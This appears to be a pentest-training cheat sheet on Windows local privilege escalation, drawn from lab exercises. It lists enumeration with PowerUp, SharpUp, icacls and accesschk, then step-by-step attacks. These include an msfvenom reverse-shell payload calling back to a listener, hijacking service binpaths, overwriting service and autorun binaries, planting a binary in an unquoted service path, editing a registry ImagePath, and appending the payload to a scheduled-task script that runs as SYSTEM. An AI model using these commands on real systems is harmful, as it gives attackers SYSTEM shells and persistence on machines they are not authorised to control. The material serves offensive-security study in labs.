# PowerUp
Get-ServiceUnquoted -Verbose # Unquoted path
Get-ModifiableServiceFile -Verbose # Current user can write to the binary path or change args to the binary
Get-ModifiableService -Verbose # Current user can modify configuration
Permissive File System ACLs
Running SharpUp
PS C:\htb> .\SharpUp.exe audit
=== SharpUp: Running Privilege Escalation Checks ===
=== Modifiable Service Binaries ===
Name : SecurityService
DisplayName : PC Security Management Service
Description : Responsible for managing PC security
State : Stopped
StartMode : Auto
PathName : "C:\Program Files (x86)\PCProtect\SecurityService.exe"
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ACEshark
Checking Permissions with icacls
icacls usage:
check permissions, set ownership of the folder, set, remove or deny permissions
# Check permissions
PS C:\> icacls C:\folder_name
(...)
I - permission inherited from the parent container
F - full access (full control)
M - Modify right/access
OI - object inherit
IO - inherit only
CI - container inherit
RX - read and execute
AD - append data (add subdirectories)
WD - write data and add files
# Set ownership
PS C:\> icacls C:\folder_name /setowner Username
Make a backup of the original binary and replace it with a malicious binary generated with msfvenom. It can give us a reverse shell as SYSTEM, or add a local admin user and give us full administrative control over the machine.
C:\htb> SharpUp.exe audit
=== SharpUp: Running Privilege Escalation Checks ===
=== Modifiable Services ===
Name : WindscribeService
DisplayName : WindscribeService
Description : Manages the firewall and controls the VPN tunnel
State : Running
StartMode : Auto
PathName : "C:\Program Files (x86)\Windscribe\WindscribeService.exe"
Checking Permissions with AccessChk
C:\htb> accesschk.exe /accepteula -quvcw WindscribeService
Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com
WindscribeService
Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
Check Local Admin Group
C:\htb> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
mrb3n
The command completed successfully.
C:\htb> sc start WindscribeService
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
The command we placed in the binpath will run even though an error message is returned. The service fails to start because the binpath is not pointing to the actual service executable
Confirming Local Admin Group Addition
C:\htb> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
htb-student
mrb3n
The command completed successfully.
Before starting exploitation
- Create a reverse shell: msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -o reverse.exe
- Transfer reverse.exe on the victim machine
Exploitation
Permission to change config files: SERVICE_CHANGE_CONFIG
Query the service: sc qc daclsvc
If the service runs with SYSTEM privileges (SERVICE_START_NAME)
Modify the service config and set the BINARY_PATH_NAME (binpath) to the reverse.exe: sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges: net start daclsvc
Other example - Insecure Service Executables
Query the "filepermsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).: sc qc filepermsvc
Using accesschk.exe, note that the service binary (BINARY_PATH_NAME) file is writable by everyone: C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
Copy the reverse.exe executable you created (cf. Insecure Service Permissions - before starting exploitation) and replace the filepermservice.exe with it: copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges: net start filepermsvc
If we can create the following files, we would be able to hijack the service binary and gain command execution in the context of the service, in this case, NT AUTHORITY\SYSTEM.
C:\Program.exe\
C:\Program Files (x86)\System.exe
However, creating files in the root of the drive or the program files folder requires administrative privileges.
Searching for Unquoted Service Paths
C:\htb> wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
GVFS.Service GVFS.Service C:\Program Files\GVFS\GVFS.Service.exe Auto
System Explorer Service SystemExplorerHelpService C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe Auto
WindscribeService WindscribeService C:\Program Files (x86)\Windscribe\WindscribeService.exe Auto
Query the "unquotedsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME) and that the BINARY_PATH_NAME is unquoted and contains spaces. sc qc unquotedsvc Ex: BINARY_PATH_NAME : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
Using accesschk.exe, note that the BUILTIN\Users group is allowed to write to the C:\Program Files\Unquoted Path Service\ directory: C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
Copy the reverse.exe (cf. Insecure Service Permissions - before starting exploitation) executable you created to this directory and rename it Common.exe: copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges: net start unquotedsvc
Query the "regsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME) : sc qc regsvc
Using accesschk.exe, note that the registry entry for the regsvc service is writable by the "NT AUTHORITY\INTERACTIVE" group (essentially all logged-on users): C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
Overwrite the ImagePath registry key to point to the reverse.exe executable you created (cf. Insecure Service Permissions - before starting exploitation)
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges: net start regsvc
Modifiable Registry Autorun Binary
Check Startup Programs
PS C:\htb> Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl
Name : OneDrive
command : "C:\Users\mrb3n\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background
Location : HKU\S-1-5-21-2374636737-2633833024-1808968233-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User : WINLPE-WS01\mrb3n
Name : Windscribe
command : "C:\Program Files (x86)\Windscribe\Windscribe.exe" -os_restart
Location : HKU\S-1-5-21-2374636737-2633833024-1808968233-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User : WINLPE-WS01\mrb3n
Name : SecurityHealth
command : %windir%\system32\SecurityHealthSystray.exe
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User : Public
Name : VMware User Process
command : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User : Public
Name : VMware VM3DService Process
command : "C:\WINDOWS\system32\vm3dservice.exe" -u
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User : Public
Suppose we have write permissions to the registry for a given binary or can overwrite a binary listed. In that case, we may be able to escalate privileges to another user the next time that the user logs in.
Other example - Registry - AutoRuns
Query the registry for AutoRun executables: reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Using accesschk.exe, note that one of the AutoRun executables is writable by everyone: C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
Copy the reverse.exe executable you created (cf. Insecure Service Permissions - before starting exploitation) and overwrite the AutoRun executable with it: copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
Start a listener on Kali and then restart the Windows VM. Open up a new RDP session to trigger a reverse shell running with admin privileges. You should not have to authenticate to trigger it, however if the payload does not fire, log in as an admin (admin/password123) to trigger it. Note that in a real world engagement, you would have to wait for an administrator to log in themselves! rdesktop MACHINE_IP
Scheduled Task
View the contents of the C:\DevTools\CleanUp.ps1 script: type C:\DevTools\CleanUp.ps1
The script seems to be running as SYSTEM every minute. Using accesschk.exe, note that you have the ability to write to this file: C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
Start a listener on Kali and then append a line to the C:\DevTools\CleanUp.ps1 which runs the reverse.exe executable you created: echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
Wait for the Scheduled Task to run, which should trigger the reverse shell as SYSTEM.
All Authenticated Users have rights over the service
Use to check the user account's permissions on the service. Ex with username 'user' et service 'daclsvc': C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
